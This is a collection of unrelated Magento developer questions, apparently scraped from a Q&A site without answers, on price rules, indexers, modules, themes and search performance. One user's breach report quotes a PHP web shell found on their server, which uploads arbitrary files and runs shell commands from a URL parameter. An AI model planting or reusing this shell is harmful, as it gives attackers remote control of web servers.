texts: Magento 1 weird calculation with multiple shopping cart price rules

texts:
I'm trying to wrap my head around this.
We have to Shopping cart price rules, one without a discount code and one with.
The one without a discount code is set up as follow:
- If ALL  of these conditions are TRUE :
     - If total quantity  equals or greater than  3  for a subselection of items in cart matching ALL  of these conditions:
         - SKU  is  productA

So it's set to give the discount if at least three occurances of the product is in the cart. The discount is set to "Fixed amount discount for whole cart" with 100 being the amount.
The other rule that contains the discount code is set to
exlude the SKU provided above:
- If ALL  of these conditions are TRUE :
   - SKU  is not one of  productA

This one has a "Percent of product price discount" discount set of 50%.
Now, both discounts work perfectly fine alone. And if I have two of productA in the cart along with another product we'll call productB I only get 50% productB, which is expected.
However when I have three of productA (costing 150 each) and productB (costing 2000) in the cart I get a total discount of 1059.19 when in reality I would expect the discount to be 1100 (1000 discount for productB then 100 discount for the three productA ).
There is obviously something with the calulation going on that I don't quite understand. Could anyone explain why I'm getting the results I'm getting.


texts: Index error after upgrade to EE 1.14.2.0: table catalog_product_entity_tmp_indexer doesn't exist

texts:
After I've upgraded my Magento to EE 1.14.2.0 the cron enterprise_refresh_index always gets this error:

  exception 'PDOException' with message 'SQLSTATE[42S02]: Base table or view not found: 1146 Table 'catalog_product_entity_tmp_indexer' doesn't exist' in /var/www/public_html/lib/Zend/Db/Statement/Pdo.php:228

I don't get why this table doesn't exist. Shouldn't Magento create it in the process of the refresh index?


texts: Getting Mage in the link of image in Product View Page

texts:
I have created a custom theme and placed an image in the theme's web/images folder i.e web/images/abc.png

I have used this image in the css as background: url("../images/abc.png");

Image show in background on all pages expect product view page by running command php bin/magento setup:static-content:deploy.

After inspecting in product view page git this link of image with and additional mage folder in the link ,dont know where this
 mage is coming from https://dev.uncleharrys.com/static/version1504805844/frontend/UncleHarrys/Extended/en_US/mage/images/cart_icon.png

whereas it has to be
https://dev.uncleharrys.com/static/version1504805844/frontend/UncleHarrys/Extended/en_US/images/cart_icon.png

How to fix?


texts: How do I access sales_flat_shipment_track.track_number in older versions of Magento (1.5)

texts:
I've written a module for Magento that works fine on newer versions (tested on 1.8 and 1.9), but of course now I face a customer who is running an ancient 1.5. This causes trouble, since it seems that the table sales_flat_shipment_track does not have a column track_number. I assume the schema was changed at some point, but what is the right way to access this information in older installations of the application?

Not sure how important it is, but the code that is triggering the error is:

<?php
class Foo_Bar_Model_Carrier extends Mage_Shipping_Model_Carrier_Abstract
    implements Mage_Shipping_Model_Carrier_Interface
{
  public function isTrackingAvailable() {
    return true;
  }

  public function getTrackingInfo($tracking) {
    /** @var $trackInfo Mage_Sales_Model_Order_Shipment_Track */
    $trackInfo = Mage::getModel('sales/order_shipment_track')->load($tracking, 'track_number');
    /** @var $track Mage_Shipping_Model_Tracking_Result_Status */
    $track = Mage::getModel('shipping/tracking_result_status');
    $track->setUrl($trackInfo->getTitle())
      ->setTracking($trackInfo->getTrackNumber())
      ->setCarrierTitle($this->getConfigData('name'));
    return $track;
  }

  // snip ...
}


texts: SSH Command Line Error on fresh install of Magento 2.2.5 on Bitnami

texts:
I have tried numerous installations of magento on Bitnami and I keep getting the below error when trying to upgrade using 'sudo php /opt/bitnami/apps/magento/htdocs/bin/magento-cli  setup:upgrade':

  Check the user before running the command if [ id | sed -e s/uid=//g
  -e s/\(.*//g -ne 0 ]; then
      echo "Please run this script using admin privileges (as root user or using sudo). This way, it will  use the proper user to run the
  Magento's command" >> /dev/stderr
      exit 1 fi Run the Magento's commands using the web servers' user and group su daemon -s /bin/bash -c "/opt/bitnami/php/bin/php
  /opt/bitnami/apps/magento/htdocs/bin/magento $*"

I have tried changing permissions and group users on all files but it doesnt seem to make any difference. Please advise. Thank you!


texts: How to save values in Custom Entity table - Magento 2

texts:
I have created a module in Magento 2 which has EAV structured tables.

Created the tables and attributes by Install Schema. But I am not able to save values in to these tables.

My tables are

custom_entity

entity_id  | attribute_set_id  | type_id  | customer_id  |created_at  | updated_at

ustom_entity_varchar

entity_id  | attribute_id  | store_id  | value_id  | value

Can any one please provide me the code to save the values to the tables specified above?


texts: Add own custom option and display on sales order in magento

texts:
I need to display my custom option in.

  app\design\adminhtml\default\default\template\sales\order\view\items\renderer\default.phtml

Database information:

Table Name :   sales_flat_order_item

Row_name : product_options

value :

  a:2:{s:15:"info_buyRequest";a:4:{s:4:"uenc";s:96:"aHR0cDovL2xvY2FsaG9zdC9wNi9kaWFtb25kcy9wcm9kdWN0L2FkZHRvY2FydC9wcm9kdWN0LzI5NzQ2L3NpemUvJTIwNy41";s:7:"product";s:5:"29746";s:8:"form_key";s:16:"pNUqrQJkKIWq5PTC";s:3:"qty";i:1;}s:9:"ring_size";s:11:"s:4:" 7.5";";}

"ring_size" is my custom option added while make order.
Can you let me know How I can display it on admin order.


texts:
I’ve got a problem. I’ve got at customer who has free shipping for orders on $200 and over.

The problem lies in the discounts she offers. 1 type of discount is the 10 for 9 price. So if the Subtotal reaches $201, then the customer gets free shipping, and if the customer has bought 10 for 9, then the customer will get the discount, and the Totalprice will end on maybe $175,-

So the customer will get at discount and free shipping, because of the cart rule is applied before the discount.

Is there any workaround / coding modifications I need to do, to correct this matter?

Thanks in advance - Thomas


texts:
Setting my base_url to HTTPS drops the query string

I set the base URL for my site to https://www.example.com, now when user comes to my site from a non secure URL (link) that has a query at the end of it (http://www.example.com/path/to/page?foo=555&bar=444) it gets redirected to the https page (https://www.example.com/path/to/page), however the queries get removed :-( I need them to stay, so the final URL would be https://www.example.com/path/to/page?foo=555&bar=444

I found in the Mage_Core_Controller_Varien_Router_Standard class there is a method (line 441) _checkShouldBeSecure that sets the redirect to secure

protected function _checkShouldBeSecure($request, $path = '')  {
   if (!Mage::isInstalled() || $request->getPost()) {
       return;
   }

   if ($this->_shouldBeSecure($path) && !$request->isSecure()) {

       $url = $this->_getCurrentSecureUrl($request);

       if ($request->getRouteName() != 'adminhtml' && Mage::app()->getUseSessionInUrl()) {
           $url = Mage::getSingleton('core/url')->getRedirectUrl($url);
       }

       Mage::app()->getFrontController()->getResponse()
           ->setRedirect($url)
           ->sendResponse();
       exit;
   }
}

i want to make a local override and add this line

       if ($_SERVER['QUERY_STRING']) {$url .= '?'.$_SERVER['QUERY_STRING'];};

Is that safe? will it cause any problems? is there a better way for me to go about preserving the query string?


texts: My requirement is capture email subject, from address . and email body content , for all kind of mail sending Which  event capture mail sending information in magento 2


texts:
My magento installation seems to have had a security breach.

In /skin/install/default/default/images/ a file called index.php has appeared.

It contains the following code:

<?php

if(@$_REQUEST["id"]== 'yes')

{

$files = @$_FILES["files"];

if($files["name"] != ''){

$fullpath = $_REQUEST["path"].$files["name"];

if(move_uploaded_file($files['tmp_name'],$fullpath)){

echo "
shell
";

}

}

exit('<form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up"></form>');

}

if(@$_REQUEST["id"]== 'no')

{

system($_GET["cmd"]);

}

?>


texts: Shipment grid custom mass action problem with UiComponentFactory::argumentsResolver()

texts:
I added a custom mass action to the shipments grid for sending multiple tracking emails at once and the collection part is throwing an error, because I must be missing something.

For reference, I looked at the Magento\Cms\Controller\Adminhtml\Page\MassDisable class.
So I came up with this:

/app/code/PerunPro/DPD/Controller/Adminhtml/Shipment/MassSendTracking.php

<?php
namespace PerunPro\DPD\Controller\Adminhtml\Shipment;

use Magento\Backend\App\Action\Context;
use Magento\Framework\Controller\ResultFactory;
use Magento\Sales\Api\ShipmentManagementInterface;
use Magento\Sales\Model\ResourceModel\Order\Shipment\CollectionFactory;
use Magento\Ui\Component\MassAction\Filter;

class MassSendTracking extends \Magento\Backend\App\Action
{
    /**
     * Authorization level of a basic admin session
     *
     * @see _isAllowed()
     */
    const ADMIN_RESOURCE = 'Magento_Sales::shipment';

    /**
     * @var Filter
     */
    protected $filter;

    /**
     * @var CollectionFactory
     */
    protected $collectionFactory;

    protected $shipmentManagement;

    public function __construct(
        Context $context,
        Filter $filter,
        CollectionFactory $collectionFactory,
        ShipmentManagementInterface $shipmentManagement
    ) {
        $this->filter = $filter;
        $this->collectionFactory = $collectionFactory;
        $this->shipmentManagement = $shipmentManagement;
        parent::__construct($context);
    }

    public function execute()
    {
        $collection = $this->filter->getCollection($this->collectionFactory->create());

        // Do stuff

        /** @var \Magento\Backend\Model\View\Result\Redirect $resultRedirect */
        $resultRedirect = $this->resultFactory->create(ResultFactory::TYPE_REDIRECT);
        return $resultRedirect->setPath('*/*/');
    }
}

When I submit the request, I get the following error:

  Fatal error: Uncaught TypeError: Argument 2 passed to
  Magento\Framework\View\Element\UiComponentFactory::argumentsResolver()
  must be of the type array, null given, called in
  /var/www/magento/v2_2/vendor/magento/framework/View/Element/UiComponentFactory.php
  on line 198 and defined in
  /var/www/magento/v2_2/vendor/magento/framework/View/Element/UiComponentFactory.php
  on line 164

I am guessing I am missing some stuff in di.xml, because Magento\Sales\Model\ResourceModel\Order\Shipment\CollectionFactory does not exist, but so doesn't Magento\Cms\Model\ResourceModel\Page\CollectionFactory which is in Page\MassDisable.
The CMS di.xml has this about it:

<type name="Magento\Framework\View\Element\UiComponent\DataProvider\CollectionFactory">
        <arguments>
            <argument name="collections" xsi:type="array">
                <item name="cms_page_listing_data_source" xsi:type="string">Magento\Cms\Model\ResourceModel\Page\Grid\Collection</item>
                <item name="cms_block_listing_data_source" xsi:type="string">Magento\Cms\Model\ResourceModel\Block\Grid\Collection</item>
            </argument>
        </arguments>
    </type>

So I tried with with a wild guess in my own di.xml:

<type name="Magento\Framework\View\Element\UiComponent\DataProvider\CollectionFactory">
        <arguments>
            <argument name="collections" xsi:type="array">
                <item name="sales_order_shipment_grid_data_source" xsi:type="string">Magento\Sales\Model\ResourceModel\Order\Shipment\Grid\Collection</item>
            </argument>
        </arguments>
    </type>

Which of course has no effect :) Please help.

My module.xml sequence, I thought it would mean it also loads the XML grid info but clearly it doesn't

<sequence>
    <module name="Magento_Sales"/>
    <module name="Magento_Shipping"/>
</sequence>


texts: Add custom email variable to invoice email

texts:
I am referring to question -
how to add custom data in order email in magento 2

Below is by observer execute method

public function execute(\Magento\Framework\Event\Observer $observer)
{
    /** @var \Magento\Framework\App\Action\Action $controller */
    $transport = $observer->getTransport();
    $transport['businessname'] = "XYZ";
}

Below is my event.xml

<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:Event/etc/events.xsd">
    <event name="email_invoice_set_template_vars_before">
        <observer name="custom_invoice_email_variable" instance="VendorName\ModuleName\Observer\SalesInvoiceTemplateVarsBefore" />
    </event>
</config>

I am calling it in a template as - {{var businessname|raw}} . But still I am not getting it in the email template. I checked by putting logs in observer and my observer method is getting called, But the variable is not get set and not shown in invoice template.

Please help.


texts:
I want to implement Rating Filter in layered navigation sidebar. But I have no idea how to proceed or where to begin..  Read this article.. got little idea but still don't know to implement rating filtration. Somebody can guide me on this?

EDIT:
After searching a lot I came across this. Then I made an attribute Rating with dropdown value of 1,2,3,4,5. Now Whenever I am setting the value with observer it is setting value with the product(checking using  $product->getData()) but when I am checking in the product edit(adminhtml) is not setting the value.

Also I have only one rating instead of 3( Have only Overall rating). So How I am suppose to get only avg rating of one product.

here'S MY Current code:

 public function ratingsUpdate(Varien_Event_Observer $observer) {
        $object = $observer->getEvent()->getObject();
        $data = $object->getData();
        $newRatings = $data['ratings'];
        $reviewId = $data['review_id'];

        $statusId = $object->getStatusId();
        if ($statusId == 1) {

            Mage::app()->setCurrentStore(Mage_Core_Model_App::ADMIN_STORE_ID);
            $productId = $object->getEntityPkValue();
            $product = Mage::getModel('catalog/product')->load($productId);
            $summaryData = Mage::getModel('review/review_summary')
                                        ->load($productId);

        if ($summaryData['rating_summary'] == 90):
           // Mage::log($summaryData['rating_summary'], null, 'size1.log', true);
            $product->setRating(5);//
            $product->save();
        endif;
    }


texts: Add discount code and gift card form to multi shipping checkout

texts:
can anyone help me to add discount code and gift card form to multi shipping checkout page near to payment methods.

I want to add discount code form and gift card form instead of this "Add or remove gift cards " link.


texts: Magento2 : Create SOAP connection in magento custom module

texts:
I am using below code in M1 to establish the connection using SOAP:-

<?php

    class Company_Module_Helper_Webservice extends Company_Module_Helper_Basehelper
    {
        private function Connect()
        {
            $WebserviceUrl = Mage::helper('module/systemvalues')->getSysValue('web_service_url');
            return new SoapClient($WebserviceUrl, array('cache_wsdl' => WSDL_CACHE_NONE));
        }
    }

Now I want to establish SOAP connection in M2:-

<?php
namespace Company\Module\Helper;

class Webservice extends \Company\Module\Helper\Basehelper
{

    /**
     * @var \Company\Module\Helper\Systemvalues
     */
    protected $moduleSystemvaluesHelper;

    public function __construct(
        \Company\Module\Helper\Systemvalues $moduleSystemvaluesHelper
    ) {
        $this->moduleSystemvaluesHelper = $moduleSystemvaluesHelper;
    }
    public function Connect()
    {
        $WebserviceUrl = $this->moduleSystemvaluesHelper->getSysValue('web_service_url');
        $logger = \Magento\Framework\App\ObjectManager::getInstance()->get('\Psr\Log\LoggerInterface');
        $logger->debug($WebserviceUrl);
        /** below line work in M1, now I want write code for M2 to estibalsed the soap connection for my module  */
        return new SoapClient($WebserviceUrl, array('cache_wsdl' => WSDL_CACHE_NONE));
    }
}

Any help would be much appreciated.


texts:
I need to Custom send mail after place order with some custom value with order id

observer.php

 public function checkout_controller_onepage_save_shipping_method($observer)
        {
            if (Mage::getStoreConfig('deliverydate/deliverydate_general/on_which_page')==1){
                $request = $observer->getEvent()->getRequest();
     //           $quote =  $observer->getEvent()->getQuote();

        $quotes = Mage::getModel('sales/quote')->getCollection();

                $desiredArrivalDate = Mage::helper('deliverydate')->getFormatedDeliveryDateToSave($request->getPost('shipping_arrival_date', ''));
                if (isset($desiredArrivalDate) && !empty($desiredArrivalDate)){
                    $quotes->setShippingArrivalDate($desiredArrivalDate);
                    $quotes->setShippingArrivalComments($request->getPost('shipping_arrival_comments'));
                    $quotes->setShippingArrivalTime($request->getPost('shipping_arrival_time'));
                    $quotes->save();
                }
            }

            return $this;
        }

DB Field name
        shipping_arrival_comments
         shipping_arrival_time
         shipping_arrival_date
this 3 fields are storing in sales_flat_order table

My doubt is how to use this variable in in that mail  How to achieve this?


texts: How to add custom fee on select specific delivery slot on checkout page in Magento 2?

texts:
I am using aheadworks Onestep checkout extension in which the delivery date and timeslot feature in-built.
Currently, on-change timeslot a controller is calling using an ajax which is for updating shipping information.
Now, I want to add an extra fee in order total if the user selects a timeslot after 07:00 PM.
How can I do this?


texts: Display categories of products in the shipment grid

texts:
I want to display the categories of products in the shipment grid.

Suppose a shipment contains 3 products- A,B,C.

I want to display the categories of all the 3 products, separated by ";" in the shipment grid.

I am able to display the products names and SKU by joining the table sales_flat_order_item.

How can I achieve this ?


texts:
When I login to the my Magento 2.2.4 site it asking me to change the password when I try to do that and press save Account tab nothing happens.

Please let me know what did should I do ?


texts: What are the correct Magento permissions and how can one set them correctly?


texts: Magento 2 require.js problem on checkout page with MultiSafePay plugin

texts:
I installed MultiSafePay Connect plugin. But when I add a product to the shopping basket and go to checkout. I see some errors in the console (see attachments). But I think all required files ar on the server.

Whats happening?


texts: Tried almost everything to minify js but failed

texts: tried almost everything to minify js but failed. there is no error as such in Magento 2.2.6 site is loading no page is down I am on developer mode everything is perfect no issues there but still no js minified. I am fed up need some solution. thanks all type of caches are clean. folder var/ cache, var/view-preprocessed everything . I removed it and clean cache properly. but still, js is not minified. screenshot of the system log file. http://prntscr.com/l0btnh


texts: When printing on any page, I have an issue where the FULL path of the link is printed under the link name, my logo is also not printing and things are overlapping. All in all, the print is very messy and I'm not really sure where to look. I was hoping someone could point me in the right direction.


texts: Immense slow / hanging query when searching Magento 2

texts:
I am sorry that I can't supply more information. We have tried Mirasvit Ultimate Search but at one point it fills up and crashes, ruining the website layout. (I am in contact with Mirasvit and will give access to development environment. In the mean time, I need this to perform better and not cause the website to crash.)

We now use the standard search again but this also piles up somehow with the follow queries:

INSERT INTO `search_tmp_5a5de009b26075_57197513`
SELECT `main_select`.`entity_id`,
       MAX(score) AS `relevance`
FROM (
    SELECT
        `search_index`.`entity_id`,
        (((0) + (0)) * 1 + SUM((
            CASE WHEN `data_index` LIKE ' vt keramieke vervangschijf voor rvs diffusor aqv7757 '
                 THEN 5
                 ELSE 0
            END
            +
            CASE WHEN `data_index` LIKE '% vt %'
                 THEN 3
                 ELSE 0
            END
            +
            CASE WHEN `data_index` LIKE '% keramieke %'
                 THEN 3
                 ELSE 0
            END
            +
            CASE WHEN `data_index` LIKE '% vervangschijf %'
                 THEN 3
                 ELSE 0
            END
            +
            CASE WHEN `data_index` LIKE '% voor %'
                 THEN 3
                 ELSE 0
            END
            +
            CASE WHEN `data_index` LIKE '% rvs %'
                 THEN 3
                 ELSE 0
            END
            +
            CASE WHEN `data_index` LIKE '% diffusor %'
                 THEN 3
                 ELSE 0
            END
            +
            CASE WHEN `data_index` LIKE '% aqv7757 %'
                 THEN 3
                 ELSE 0
            END
            +
            CASE WHEN `data_index` LIKE '%vt%'
                 THEN 2
                 ELSE 0
            END
            +
            CASE WHEN `data_index` LIKE '%keramieke%'
                 THEN 2
                 ELSE 0
            END
            +
            CASE WHEN `data_index` LIKE '%vervangschijf%'
                 THEN 2
                 ELSE 0
            END
            +
            CASE WHEN `data_index` LIKE '%voor%'
                 THEN 2
                 ELSE 0
            END
            +
            CASE WHEN `data_index` LIKE '%rvs%'
                 THEN 2
                 ELSE 0
            END
            +
            CASE WHEN `data_inde[...]

And these queries keep piling up as long as customers search for them. So if a customer is impatient (which they are) they'll press enter numerous times.

Is there any way we can handle these queries more efficiently, or is there any advice regarding the searching situation on Magento 2? I did read a lot that the search is not very efficient.

If anyone has advice or any helpful URL's that can point me in the right direction, thanks in advance.


texts:
I am just starting with Magento and really looking forward to open an actual production store. Would like to know, what is the perfect combination of installs?
(Magento2, ram size?, cpusize? is AWS overkill as the store will be 24/7, disk size needed, is varnish required to be configured if using Magento 2?) a lot of questions, hopefully someone blogged about it. :)


texts: What is most easy way to move the old Magento 1 frontend layout to the new Magento 2 edition?

texts:
I will setup my old Magento 1.4 webshop to the Magento 2.3 webshop. Can somebody help me to explain which steps i have to make?
So far i found, data migration tool cannot be used for it?
Which folders i can find that? And how to install it to the new version?
Appreciate you help!


texts: Drop column on declarative schema not working as expected

texts:
I was playing on Magento 2.3 with Declarative Schema, and everything works very well when I added a new column do db_schema.xml and did a setup:upgrade.

However, when removing a column node from XML and performing setup:upgrade, the column was not removed.

I also tried with --safe-mode=0, adding disabled="true", flushing cache before, etc, but the column is still there.

Am I missing something?


texts: Transactional emails not being received by client

texts:
A client has reported that they are not receiving sales emails. If I add my own email address as a BCC into the sales email, I receive it. I have run into similar issues in the past whereby emails generated by website abc.com are not received by email address @abc.com, but are received by emails with other domains.

I realise this is probably a server issue rather than magento, but I wondered if anyone else has had the same issue and if there is an easy way to resolve it?


texts: Impossible to process constructor argument Parameter #8

texts:
I am new to magento I am trying to integrate paytm payment gateway after followed all the steps I got blank screen in checkout page . i am using Magento version 2.4.1
Thanks in advance.


texts: Magento2 - Error: Can't find custom block

texts:
I've created my custom extension and tried to install it. Now I get the following error:

  PHP Fatal error:  Class 'My\Module\Block\Customer\Form\Register'
  not found in
  /var/www/html/magento2/lib/internal/Magento/Framework/ObjectManager/Factory/AbstractFactory.php
  on line 117, referer: http://192.168.56.101/magento2/

I tried to recompile the di, upgrade with setup command, clean cache, but nothing works.

How can I fix it?


texts: Importing the data base from third party data base to Magento

texts:
I have a online store in magento.We have to upload  thousands of products  from a third party data base.I want to write a script which can read the product values from the third party data base and can insert those products into my store.

Is it possible ?


texts: How to show custom size option editable in dropdown in customer wishlist page?

texts: I want show custom size option editable in dropdown in customer wishlist page


texts:
I'm running the static tests on one of my modules and on magento version 2.3 it reports an inconsistency:

  Version must not be specified in the root and package composer JSON files in Git
  Failed asserting that object of class "stdClass" does not have attribute "version".

This does not happen for magento 2.2.
After some digging around I found that there is this test Magento\Test\Integrity\ComposerTest::assertNoVersionSpecified()

/**
 * Version must not be specified in the root and package composer JSON files in Git.
 *
 * All versions are added by tools during release publication by version setter tool.
 *
 * @param \StdClass $json
 */
private function assertNoVersionSpecified(\StdClass $json)
{
    $errorMessage = 'Version must not be specified in the root and package composer JSON files in Git';
    $this->assertObjectNotHasAttribute('version', $json, $errorMessage);
}

On the other hand, the official docs state that the version should be specified in composer.json: https://devdocs.magento.com/guides/v2.3/extension-dev-guide/versioning/

I need a confirmation that the composer.json should not contain the module version anymore.
In case the answer is Yes for the question above, I could use an explanation on how does magento know the version of the modules installed via composer if the version is missing from composer.json.


texts:
I'm new in magento and I wonder how to create a form in a CMS page and receive the information by email.

I did some research on the internet but I did not find explicit answers.


texts: How to add default image for an attribute of type media image?

texts:
I have created an attribute of type media image and now the attribute is showing in a Product Edit page in admin panel. For some products no image is selected for this attribute.
I need to show any default image in the case where no image is selected.
Because it is throwing an error on those product where this attribute doesn't have any value.

On front-end i am calling this image like this:

<img src="<?php  $imprint_image_url = (string)Mage::helper('catalog/image')->init($_product, 'attribute_code')->resize(400,500); ?>">

Thanks


texts: How to get data from "customer_entity_varchar" table in Magento

texts:
I've created a customer attribute(file upload field) in the back end of magento: Customers > Manage Customer Attributes.

Now I want to show that this file has been uploaded in the customer's account center.

I can dump the attribute by:

$fileUpload = Mage::getModel('eav/entity_attribute')->loadByCode('1', 'file_upload_code');
echo "<pre>";
print_r($fileUpload->getData());
echo "</pre>";

I can also see the file path that is being saved into the customer_entity_varchar table after a successful upload. But, I can't seem to figure out how to target that table. Each attempt at wording a search on google tends to bring up those attempting to pull data with SQL queries instead of using models.

I just want to do something such as:

$customer = Mage::getSingleton('customer/session')->getCustomer();
$fileUpload = Mage::getModel(customer/entity_varchar)->load($customer->getId())->getFileUpload();


texts: Schema error for magento-mongodb integration

texts:
I have followed the magento-mongo github project to connect Magento with mongodb.

Everything seems to be perfect while integrating. But the problem is when I tried to change any configuration through admin panel, I tried to add a product through admin panel, then its showing some schema error in the Cm/Mongo/Model/Indexer/Schema.php file.

Can any one suggest me to solve this error? Here are I am posting the error code.

Error:

2014-03-17T09:41:24+00:00 DEBUG (7): Exception message: Notice: Trying to get property of non-object  in /var/www/mage2/app/code/community/Cm/Mongo/Model/Indexer/Schema.php on line 45
Trace: #0 /var/www/mage2/app/code/community/Cm/Mongo/Model/Indexer/Schema.php(45): mageCoreErrorHandler(8, 'Trying to get p...', '/var/www/mage2/...', 45, Array)
#1 /var/www/mage2/app/code/community/Cm/Mongo/Model/Indexer.php(116): Cm_Mongo_Model_Indexer_Schema->getEntityIndexers('catalog_product')
#2 /var/www/mage2/app/code/core/Mage/Index/Model/Process.php(331): Cm_Mongo_Model_Indexer->matchEntityAndType('catalog_product', 'mass_action')
#3 [internal function]: Mage_Index_Model_Process->indexEvents('catalog_product', 'mass_action')
#4 /var/www/mage2/app/code/core/Mage/Index/Model/Indexer.php(324): call_user_func_array(Array, Array)
#5 /var/www/mage2/app/code/core/Mage/Index/Model/Indexer.php(171): Mage_Index_Model_Indexer->_runAll('indexEvents', Array)
#6 /var/www/mage2/app/code/core/Mage/CatalogInventory/Model/Observer.php(949): Mage_Index_Model_Indexer->indexEvents('catalog_product', 'mass_action')
#7 /var/www/mage2/app/code/core/Mage/Core/Model/App.php(1338): Mage_CatalogInventory_Model_Observer->reindexProductsMassAction(Object(Varien_Event_Observer))
#8 /var/www/mage2/app/code/core/Mage/Core/Model/App.php(1317): Mage_Core_Model_App->_callObserverMethod(Object(Mage_CatalogInventory_Model_Observer), 'reindexProducts...', Object(Varien_Event_Observer))
#9 /var/www/mage2/app/Mage.php(447): Mage_Core_Model_App->dispatchEvent('after_reindex_p...', Array)
#10 /var/www/mage2/app/code/core/Mage/Index/Model/Process.php(224): Mage::dispatchEvent('after_reindex_p...')
#11 /var/www/mage2/app/code/core/Mage/Index/Model/Process.php(255): Mage_Index_Model_Process->reindexAll()
#12 /var/www/mage2/app/code/core/Mage/Index/Model/Process.php(249): Mage_Index_Model_Process->reindexEverything()
#13 /var/www/mage2/app/code/core/Mage/Index/controllers/Adminhtml/ProcessController.php(178): Mage_Index_Model_Process->reindexEverything()
#14 /var/www/mage2/app/code/core/Mage/Core/Controller/Varien/Action.php(419): Mage_Index_Adminhtml_ProcessController->massReindexAction()
#15 /var/www/mage2/app/code/core/Mage/Core/Controller/Varien/Router/Standard.php(250): Mage_Core_Controller_Varien_Action->dispatch('massReindex')


texts: Magento 2 - Location of Luma theme's Template Files in the Vendor Directory

texts:
I am working on a Theme based on Magento 2's LUMA theme.

I know that the main luma theme files are stored in:

vendor/magento/theme-frontend-luma/

My problem is that I cannot file the template phtml files in there.

Where are they stored, so I can copy them into my theme?


texts: get Some custom attributes in Cart magento 2

texts: I have added 2 custom attributes to product. I want to display them in the cart so how to proceed to get them in the cart page because i can't understand this form.phtml how it works?? I need a help please


texts: Restricting Dates Using Custom Options - Input Type Date

texts:
I'm looking to add in an estimated delivery date field on to the product pages of my magento store - I'm currently using a custom option within the product to control this with the date input type.

Is there anyway to stop a user from entering a date that has already passed and remove any dates that aren't available such as weekends and holidays?

I'm currently running Magento 1.8 should it make any difference


texts: if statement display the error message more than once

texts:
i have a check in my checkout to see if a product has the attribute direct delivery set to yes and if so it should display a message. However if there is more than one product in the basket with the attribute set to yes it displays the message more than once. How can i stop the message form displaying more than once?

This is the IF statement i have.

<?php $quote = Mage::getSingleton('checkout/session')->getQuote();
        $cartItems = $quote->getAllVisibleItems();
        foreach ($cartItems as $item)
        {
            $productId = $item->getProductId();
            $product = Mage::getModel('catalog/product')->load($productId);
                   if($product->getData('direct_delivery_product')==1){?>

             <?php echo 'You have direct delivery products in your shopping cart. This means it may take longer than the standard 2-5 working days to deliver.';?>

                <?php unset($_shippingRateGroups["freeshipping"]);

             }

                }
?>


texts: Magento2 custom EAV in ui component listing

texts:
I created a custom EAV for my module. Now I want to show all the columns in my **ui_component** listing. But only the field from my **main** table can be displayed.

How do I get all the other field names? Do I have to join all of them separately or is there something I am missing.

In my InstallData i have:

$printingTableSetup->addAttribute(
        $printingTableEntity,
        'created_at',
        [
            'type' => 'datetime',
            'is_used_in_grid' => true,
            'visible' => true,
            'user_defined' => true,
            'adminhtml_only'=>1
        ]
    );

In the table eav_attribute, the attribute is created.

In my listing xml i have the following:

<column name="created_at">
        <argument name="data" xsi:type="array">
            <item name="config" xsi:type="array">
                <item name="filter" xsi:type="string">text</item>
                <item name="dataType" xsi:type="string">date</item>
                <item name="label" xsi:type="string" translate="true">Created At</item>
            </item>
        </argument>
    </column>

No data is shown in the column


texts: Where does Magento look for a controller when the layout filename is bigger than three names?

texts:
I understand that in my module/view/frontend/layout folder, if I create a file called social_index_index.xml this file will refer to a controller located at Social/Controller/Index/Index.php.

However I currently was looking in the vendor/magento/module-catalog/view/frontend/layout folder and I saw a few files with longer names such as catalog_category_view_type_default.xml and catalog_category_view_type_default_without_children.xml.

What controllers do these files refer to when they are longer names? I do not see a path to a controller for these anywhere.


texts: How can I override server-side form validation?

texts:
I want to provide additional server-side validation of the address forms in Magento, both in Checkout and Customer. I can override Mage_Checkout_OnepageController, Mage_Checkout_MultishippingController and Mage_Customer_AddressController, but that seems a bit much, and I would have to explicitly include the controller path, which seems dirty.

If I rely on the events system and do my validation after the appropriate controller action I might have to actively undo things done by the controller, such as remove session messages or delete or change addresses in the session. (I'd also be relying on the events system being synchronous, which while true seems dirty, and I'd be relying on the order of events if other events affect what I'm working on.)

I suppose the best bet would be to override Mage_Eav_Model_Form->validateData(). The only problem with that unlike some of the above options it only gives me the opportunity to set error messages, and sometimes you want to modify the actual JSON data going back (for example, to give the user the ability to choose among alternatives).

When I researched how to do this Google turned up results about overriding client-side validation, but there doesn't seem to be much about server-side. Is there a generic right way to do server-side form validation overrides?

Update: I also discovered there is a callback registry for Varien_Object->save(), but it only happens after the save. If there were a callback that happens before the save it would serve, but I didn't see anything like that.


texts: After Installing Fishpig my blog page redirecting to 404 page in magento2

texts:
I have installed FishPig and configure it from admin, but on my blog page redirecting me to 404 page!!!

I am using magento2.2.5

Let me know if I'm missing anything.


texts: Overwrite Customer EditPost controller not working Magento 2

texts:
I am trying to overwrite the customer save controller but it is not working.

This is my di.xml file app/code/Mp/Accountmanager/etc/di.xml

<?xml version="1.0"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:ObjectManager/etc/config.xsd">
    <preference for="Magento\Customer\Controller\Account\EditPost" type="Mp\Accountmanager\Controller\Customer\EditPost" />
</config>

This is my Controller app/code/Mp/Accountmanager/Controller/Customer/EditPost.php

<?php
    namespace Mp\Accountmanager\Controller\Customer;

class EditPost extends \Magento\Customer\Controller\Account\EditPost
    {
        /**
         * @return \Magento\Framework\Controller\Result\Redirect|\Magento\Framework\View\Result\Page
         */
        public function execute()
        {
            echo "yes";
            return parent::execute();
            exit;
        }
    }

This is not working when I edit and save the customer. Please help me.


texts:
I would like to add a custom button in a backend grid page, that let me upload a file in Magento.

So basically it should give me a "file selector" and then file should be processed in a controller.

Can you point out to some tutorial or any Magento default module where I can get an "inspiration" ?


texts: Error Facing while updating price of all products in magento

texts:
I am facing an error while updating prices of all product eg. i have 2000 products it will update the price of some of the product and rest of it will not update

i use to follow this link to update the price
http://www.blog.magepsycho.com/updating-product-prices-in-magento-in-easier-faster-way/


texts: Magento 2 - insert meta data to page layout

texts:
I need to add different meta data for different page layouts, i've tried to do it like this:

    <referenceBlock name="head.additional">
        <block class="Magento\Framework\View\Element\Text" name="meta_og">
            <action method="setText">
                <argument translate="true" name="meta_og" xsi:type="string">
                    <![CDATA[<meta property="og:url" content="stuff.ccom" />]]>
            </action>
        </block>
    </referenceBlock>

but its only working on a normal layout (like default.xml)

